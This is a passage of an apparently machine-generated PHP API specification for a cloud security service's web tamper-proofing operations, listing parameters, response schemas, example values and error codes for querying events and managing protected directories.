'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'WhiteCount' => [ 'description' => 'The number of processes in the whitelist.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '6', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', ], 'ExpireTime' => [ 'description' => 'The timestamp generated when the quota for tamper proofing expires. Unit: millisecond.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1688090851000', ], 'DirCount' => [ 'description' => 'The number of protected directories.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'AuthCount' => [ 'description' => 'The total quota that you purchase for web tamper proofing.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '32', ], 'BindCount' => [ 'description' => 'The associated tamper proofing quota.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'BlockCount' => [ 'description' => 'The number of blocked processes.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '48', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"WhiteCount\\": 6,\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"ExpireTime\\": 1688090851000,\\n \\"DirCount\\": 2,\\n \\"AuthCount\\": 32,\\n \\"BindCount\\": 2,\\n \\"BlockCount\\": 48\\n}","type":"json"}]', 'title' => 'DescribeWebLockStatus', ], 'DescribeWebLockFileEvents' => [ 'summary' => 'Queries events on web tamper proofing.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], ], 'parameters' => [ [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The name of the asset.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the names of assets.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test-ecs', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'ProcessName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sys_create', ], ], [ 'name' => 'TsBegin', 'in' => 'query', 'schema' => [ 'description' => 'The beginning of the time range to query. The value is a UNIX timestamp.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1660649981419', ], ], [ 'name' => 'TsEnd', 'in' => 'query', 'schema' => [ 'description' => 'The end of the time range to query. The value is a UNIX timestamp.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1660649981419', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the event on web tamper proofing is handled. Valid values:'."\n" ."\n" .'* **n**: The event on web tamper proofing is handled.'."\n" .'* **y**: The event on web tamper proofing is not handled.'."\n", 'type' => 'string', 'required' => false, 'example' => 'n', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of events on web tamper proofing returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'List' => [ 'description' => 'An array that consists of events on web tamper proofing returned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'Information about the event on web tamper proofing.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the event on web tamper proofing. Valid values:'."\n" ."\n" .'* **1**: unhandled'."\n" .'* **2**: ignored'."\n" .'* **4**: deprecated'."\n" .'* **8**: marked as false positive'."\n" .'* **10**: added to the whitelist'."\n" .'* **16**: handling'."\n" .'* **32**: defended'."\n" .'* **64**: invalid'."\n" .'* **128**: deleted'."\n" .'* **512**: automatically handled'."\n", 'type' => 'string', 'example' => '1', ], 'EventName' => [ 'description' => 'The name of the event on web tamper proofing.'."\n", 'type' => 'string', 'example' => 'modify', ], 'Ds' => [ 'description' => 'The timestamp at which the event on web tamper proofing was first detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1657178400000', ], 'InternetIp' => [ 'description' => 'The public IP address of the affected asset.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'ProcessPath' => [ 'description' => 'The path to the process.'."\n", 'type' => 'string', 'example' => 'C:\\Windows\\explorer.exe', ], 'Ip' => [ 'description' => 'The IP address of the asset.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'GmtEvent' => [ 'description' => 'The timestamp at which the event on web tamper proofing was last detected.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1657178400000', ], 'Count' => [ 'description' => 'The number of attempts.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'IntranetIp' => [ 'description' => 'The private IP address of the asset.'."\n", 'type' => 'string', 'example' => '172.25.XX.XX', ], 'ProcessName' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'example' => 'python3.7', ], 'Uuid' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], 'EventType' => [ 'description' => 'The prevention mode. Valid values:'."\n" ."\n" .'* **audit**: Interception Mode'."\n" .'* **web_lock**: Alert Mode'."\n", 'type' => 'string', 'example' => 'audit', ], 'InstanceName' => [ 'description' => 'The name of the asset.'."\n", 'type' => 'string', 'example' => 'sql-test-001', ], 'EventStatus' => [ 'description' => 'The status of the event on web tamper proofing. Valid values:'."\n" ."\n" .'* **1**: unhandled'."\n" .'* **2**: ignored'."\n" .'* **4**: deprecated'."\n" .'* **8**: marked as false positive'."\n" .'* **10**: added to the whitelist'."\n" .'* **16**: handling'."\n" .'* **32**: defended'."\n" .'* **64**: invalid'."\n" .'* **128**: deleted'."\n" .'* **512**: automatically handled'."\n", 'type' => 'string', 'example' => '1', ], 'Path' => [ 'description' => 'The file path.'."\n", 'type' => 'string', 'example' => ' '."\n" .'D:\\test-tamper-proofing\\123.html', ], 'Level' => [ 'description' => 'The severity of the event on web tamper proofing. Valid values: **medium**'."\n", 'type' => 'string', 'example' => 'medium', ], 'Id' => [ 'description' => 'The ID of the event on web tamper proofing.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '3555953980', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 2,\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"List\\": [\\n {\\n \\"Status\\": \\"1\\",\\n \\"EventName\\": \\"modify\\",\\n \\"Ds\\": 1657178400000,\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"ProcessPath\\": \\"C:\\\\\\\\Windows\\\\\\\\explorer.exe\\",\\n \\"Ip\\": \\"8.210.XX.XX\\",\\n \\"GmtEvent\\": 1657178400000,\\n \\"Count\\": 10,\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"ProcessName\\": \\"python3.7\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"EventType\\": \\"audit\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"EventStatus\\": \\"1\\",\\n \\"Path\\": \\"\\\\t\\\\nD:\\\\\\\\test-tamper-proofing\\\\\\\\123.html\\",\\n \\"Level\\": \\"medium\\",\\n \\"Id\\": 3555953980\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWebLockFileEvents', ], 'ModifyWebLockDeleteConfig' => [ 'summary' => 'Deletes a directory on a specified server from the protected directories of web tamper proofing.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92401', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the protected directory that you want to delete.'."\n" ."\n" .'> You can call the [DescribeWebLockConfigList](~~DescribeWebLockConfigList~~) operation to query the IDs of protected directories.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '12', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server for which you want to delete the protected directory.'."\n" ."\n" .'> You can call the [DescribeWebLockConfigList](~~DescribeWebLockConfigList~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '7f7fe9a2-55de-4b9d-a37a-0d981d36****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '299D0992-271A-5750-ACEB-46D322862BFF', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DefenceAtLeastOneConfig', 'errorMessage' => 'At least one protection directory is needed.', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"299D0992-271A-5750-ACEB-46D322862BFF\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 299D0992-271A-5750-ACEB-46D322862BFF\\n","errorExample":""}]', 'title' => 'ModifyWebLockDeleteConfig', 'description' => 'After you delete a directory that has web tamper proofing enabled on a server, files in the directory are no longer protected by web tamper proofing. The information about the websites that are hosted on the server may be maliciously modified by attackers. Proceed with caution.'."\n", 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'ModifyWebLockCreateConfig' => [ 'summary' => 'Adds a directory to protect for a specified server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92400', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], 'tenantRelevance' => 'tenant', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '39.170.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server for which you want to add a directory to protect.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-12345****', ], ], [ 'name' => 'Dir', 'in' => 'query', 'schema' => [ 'description' => 'The directory that you want to protect.'."\n", 'type' => 'string', 'required' => true, 'example' => '/home/admin/tomcat', ], ], [ 'name' => 'ExclusiveDir', 'in' => 'query', 'schema' => [ 'description' => 'The directory for which you want to disable web tamper proofing.'."\n" ."\n" .'> If you set **Mode** to **blacklist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '/home/admin/test', ], ], [ 'name' => 'ExclusiveFileType', 'in' => 'query', 'schema' => [ 'description' => 'The type of file for which you want to disable web tamper proofing. Separate multiple types with semicolons (;). Valid values:'."\n" ."\n" .'* php'."\n" .'* jsp'."\n" .'* asp'."\n" .'* aspx'."\n" .'* js'."\n" .'* cgi'."\n" .'* html'."\n" .'* htm'."\n" .'* xml'."\n" .'* shtml'."\n" .'* shtm'."\n" .'* jpg'."\n" .'* gif'."\n" .'* png'."\n" ."\n" .'> If you set **Mode** to **blacklist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'jpg', ], ], [ 'name' => 'LocalBackupDir', 'in' => 'query', 'schema' => [ 'description' => 'The local path to the backup files of the protected directory.'."\n", 'type' => 'string', 'required' => true, 'example' => '/usr/local/backup', ], ], [ 'name' => 'Mode', 'in' => 'query', 'schema' => [ 'description' => 'The protection mode of web tamper proofing. Valid values:'."\n" ."\n" .'* **whitelist**: In this mode, web tamper proofing is enabled for the specified directories and file types.'."\n" .'* **blacklist**: In this mode, web tamper proofing is enabled for the unspecified sub-directories, file types, and files in the protected directories.'."\n", 'type' => 'string', 'required' => false, 'example' => 'whitelist', ], ], [ 'name' => 'InclusiveFileType', 'in' => 'query', 'schema' => [ 'description' => 'The type of file for which you want to enable web tamper proofing. Separate multiple types with semicolons (;). Valid values:'."\n" ."\n" .'* php'."\n" .'* jsp'."\n" .'* asp'."\n" .'* aspx'."\n" .'* js'."\n" .'* cgi'."\n" .'* html'."\n" .'* htm'."\n" .'* xml'."\n" .'* shtml'."\n" .'* shtm'."\n" .'* jpg'."\n" .'* gif'."\n" .'* png'."\n" ."\n" .'> If you set **Mode** to **whitelist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'jpg', ], ], [ 'name' => 'ExclusiveFile', 'in' => 'query', 'schema' => [ 'description' => 'The file for which you want to disable web tamper proofing.'."\n" ."\n" .'> If you set **Mode** to **blacklist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '/home/admin/apache.log', ], ], [ 'name' => 'InclusiveFile', 'in' => 'query', 'schema' => [ 'description' => 'The file for which you want to enable web tamper proofing.'."\n" ."\n" .'> If you set **Mode** to **whitelist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '/home/admin/test.log', ], ], [ 'name' => 'DefenceMode', 'in' => 'query', 'schema' => [ 'description' => 'The prevention mode. Valid values:'."\n" ."\n" .'* **block**: Interception Mode'."\n" .'* **audit**: Alert Mode'."\n", 'type' => 'string', 'required' => true, 'example' => 'block', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', ], 'ConfigId' => [ 'description' => 'The configuration ID of the protected directory.'."\n", 'type' => 'string', 'example' => '1404656', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'DuplicatedDirectory', 'errorMessage' => 'Duplicated directory', ], [ 'errorCode' => 'BeyondConfLimit', 'errorMessage' => 'Beyond maxim protect directory count.', ], [ 'errorCode' => 'ParentOrSubDirectoryProtected', 'errorMessage' => 'Parent or child directories have been protected.', ], [ 'errorCode' => 'DataNotExists', 'errorMessage' => 'data not exist', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\",\\n \\"ConfigId\\": \\"1404656\\"\\n}","type":"json"}]', 'title' => 'ModifyWebLockCreateConfig', ], 'ModifyWebLockUpdateConfig' => [ 'summary' => 'Modifies protection policy for a specified server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92407', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], 'tenantRelevance' => 'tenant', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '36.112.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the protected directory for which you want to change the status of web tamper proofing.'."\n" ."\n" .'> You can call the [DescribeWebLockConfigList](~~DescribeWebLockConfigList~~) operation to query the IDs of protected directories.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '312077', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server on which the protected directory is located.'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', ], ], [ 'name' => 'Dir', 'in' => 'query', 'schema' => [ 'description' => 'The directory for which you want to enable web tamper proofing.'."\n", 'type' => 'string', 'required' => true, 'example' => '/home/admin/tomcat', ], ], [ 'name' => 'ExclusiveDir', 'in' => 'query', 'schema' => [ 'description' => 'The directory for which you want to disable web tamper proofing.'."\n" ."\n" .'> If you set **Mode** to **blacklist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '/home/admin/test', ], ], [ 'name' => 'ExclusiveFileType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the file for which you want to disable web tamper proofing. Separate multiple types with semicolons (;). Valid values:'."\n" ."\n" .'* php'."\n" .'* jsp'."\n" .'* asp'."\n" .'* aspx'."\n" .'* js'."\n" .'* cgi'."\n" .'* html'."\n" .'* htm'."\n" .'* xml'."\n" .'* shtml'."\n" .'* shtm'."\n" .'* jpg'."\n" .'* gif'."\n" .'* png'."\n" ."\n" .'> If you set **Mode** to **blacklist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'jpg', ], ], [ 'name' => 'LocalBackupDir', 'in' => 'query', 'schema' => [ 'description' => 'The local path to the backup files of the protected directory.\\'."\n" .'The directory format of a Linux server is different from that of a Windows server. You must enter the directory in the required format based on your operating system. Examples:'."\n" ."\n" .'* Linux server: /usr/local/aegis/bak'."\n" .'* Windows server: C:\\Program Files (x86)\\Alibaba\\Aegis\\bak'."\n", 'type' => 'string', 'required' => true, 'example' => '/usr/local/backup', ], ], [ 'name' => 'Mode', 'in' => 'query', 'schema' => [ 'description' => 'The protection mode of web tamper proofing. Valid values:'."\n" ."\n" .'* **whitelist**: In this mode, web tamper proofing is enabled for the specified directories and file types.'."\n" .'* **blacklist**: In this mode, web tamper proofing is enabled for the unspecified subdirectories, file types, and files in the protected directory.'."\n", 'type' => 'string', 'required' => false, 'example' => 'blacklist', ], ], [ 'name' => 'InclusiveFileType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the file for which you want to enable web tamper proofing. Separate multiple types with semicolons (;). Valid values:'."\n" ."\n" .'* php'."\n" .'* jsp'."\n" .'* asp'."\n" .'* aspx'."\n" .'* js'."\n" .'* cgi'."\n" .'* html'."\n" .'* htm'."\n" .'* xml'."\n" .'* shtml'."\n" .'* shtm'."\n" .'* jpg'."\n" .'* gif'."\n" .'* png'."\n" ."\n" .'> If you set **Mode** to **whitelist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'jpg', ], ], [ 'name' => 'ExclusiveFile', 'in' => 'query', 'schema' => [ 'description' => 'The file for which you want to disable web tamper proofing.'."\n" ."\n" .'> If you set **Mode** to **blacklist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '/home/admin/apache.log', ], ], [ 'name' => 'InclusiveFile', 'in' => 'query', 'schema' => [ 'description' => 'The file for which you want to enable web tamper proofing.'."\n" ."\n" .'> If you set **Mode** to **whitelist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '/home/admin/test.log', ], ], [ 'name' => 'DefenceMode', 'in' => 'query', 'schema' => [ 'description' => 'The prevention mode. Valid values:'."\n" ."\n" .'* **block**: Interception Mode'."\n" .'* **audit**: Alert Mode'."\n", 'type' => 'string', 'required' => true, 'example' => 'block', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DuplicatedDirectory', 'errorMessage' => 'Duplicated directory', ], [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'DataNotExists', 'errorMessage' => 'data not exist', ], [ 'errorCode' => 'ParentOrSubDirectoryProtected', 'errorMessage' => 'Parent or child directories have been protected.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RpcServiceError', 'errorMessage' => 'The internal service invocation is abnormal.', ], [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\"\\n}","type":"json"}]', 'title' => 'ModifyWebLockUpdateConfig', ], 'ModifyWebLockStart' => [ 'summary' => 'Configures and enables web tamper proofing for a specified server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92404', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], ], 'parameters' => [ [ 'name' => 'Mode', 'in' => 'query', 'schema' => [ 'description' => 'The protection mode of web tamper proofing. Valid values:'."\n" ."\n" .'* **whitelist**: In this mode, web tamper proofing is enabled for the specified directories and file types.'."\n" .'* **blacklist**: In this mode, web tamper proofing is enabled for the unspecified subdirectories, file types, and files in the protected directory.'."\n", 'type' => 'string', 'required' => true, 'example' => 'whitelist', ], ], [ 'name' => 'LocalBackupDir', 'in' => 'query', 'schema' => [ 'description' => 'The local path to the backup files of the protected directory.\\'."\n" .'The directory format of a Linux server is different from that of a Windows server. You must enter the directory in the required format based on your operating system. Examples:'."\n" ."\n" .'* Linux server: /usr/local/aegis/bak'."\n" .'* Windows server: C:\\Program Files (x86)\\Alibaba\\Aegis\\bak'."\n", 'type' => 'string', 'required' => true, 'example' => '/usr/local/backup', ], ], [ 'name' => 'ExclusiveFile', 'in' => 'query', 'schema' => [ 'description' => 'The file for which you want to disable web tamper proofing.'."\n" ."\n" .'> If you set **Mode** to **blacklist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '/home/admin/tomcat/localhost.log', ], ], [ 'name' => 'Dir', 'in' => 'query', 'schema' => [ 'description' => 'The directory for which you want to enable web tamper proofing. Separate multiple directories with commas (,).'."\n", 'type' => 'string', 'required' => true, 'example' => '/home/admin/tomcat', ], ], [ 'name' => 'InclusiveFileType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the file for which you want to enable web tamper proofing. Separate multiple types with semicolons (;). Valid values:'."\n" ."\n" .'* php'."\n" .'* jsp'."\n" .'* asp'."\n" .'* aspx'."\n" .'* js'."\n" .'* cgi'."\n" .'* html'."\n" .'* htm'."\n" .'* xml'."\n" .'* shtml'."\n" .'* shtm'."\n" .'* jpg'."\n" .'* gif'."\n" .'* png'."\n" ."\n" .'> If you set **Mode** to **whitelist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'php', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server for which you want to enable web tamper proofing.'."\n", 'type' => 'string', 'required' => true, 'example' => '80d2f7d6-31a9-4d7f-8ff4-7ecc42f89ca****', ], ], [ 'name' => 'ExclusiveFileType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the file for which you want to disable web tamper proofing. Separate multiple types with semicolons (;). Valid values:'."\n" ."\n" .'* php'."\n" .'* jsp'."\n" .'* asp'."\n" .'* aspx'."\n" .'* js'."\n" .'* cgi'."\n" .'* html'."\n" .'* htm'."\n" .'* xml'."\n" .'* shtml'."\n" .'* shtm'."\n" .'* jpg'."\n" .'* gif'."\n" .'* png'."\n" ."\n" .'> If you set **Mode** to **blacklist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'jpg', ], ], [ 'name' => 'ExclusiveDir', 'in' => 'query', 'schema' => [ 'description' => 'The directory for which you want to disable web tamper proofing.'."\n" ."\n" .'> If you set **Mode** to **blacklist**, you must specify this parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => '/home/admin/java', ], ], [ 'name' => 'DefenceMode', 'in' => 'query', 'schema' => [ 'description' => 'The prevention mode. Valid values:'."\n" ."\n" .'* **block**: Interception Mode'."\n" .'* **audit**: Alert Mode'."\n", 'type' => 'string', 'required' => true, 'example' => 'block', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'D9354C1A-D709-4873-9AAE-41513327B247', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'DuplicatedDirectory', 'errorMessage' => 'Duplicated directory', ], [ 'errorCode' => 'NeedBuy', 'errorMessage' => 'This service shoule be purchased first.', ], [ 'errorCode' => 'DefenceEmptyConfig', 'errorMessage' => 'At least one protection directory is needed.', ], [ 'errorCode' => 'DefenceAuthLimit', 'errorMessage' => 'The number of machines has reached the upper limit.', ], [ 'errorCode' => 'BindDataExist', 'errorMessage' => 'The binding data already exists.', ], [ 'errorCode' => 'MissingDir', 'errorMessage' => 'Dir is mandatory for this action.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'InternalError', 'errorMessage' => 'The request processing has failed due to some unknown error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D9354C1A-D709-4873-9AAE-41513327B247\\"\\n}","type":"json"}]', 'title' => 'ModifyWebLockStart', ], 'DescribeWebLockConfigList' => [ 'summary' => 'Queries the configurations of web tamper proofing for a specified server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92254', 'abilityTreeNodes' => [ 'FEATUREsas4GT4R7', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 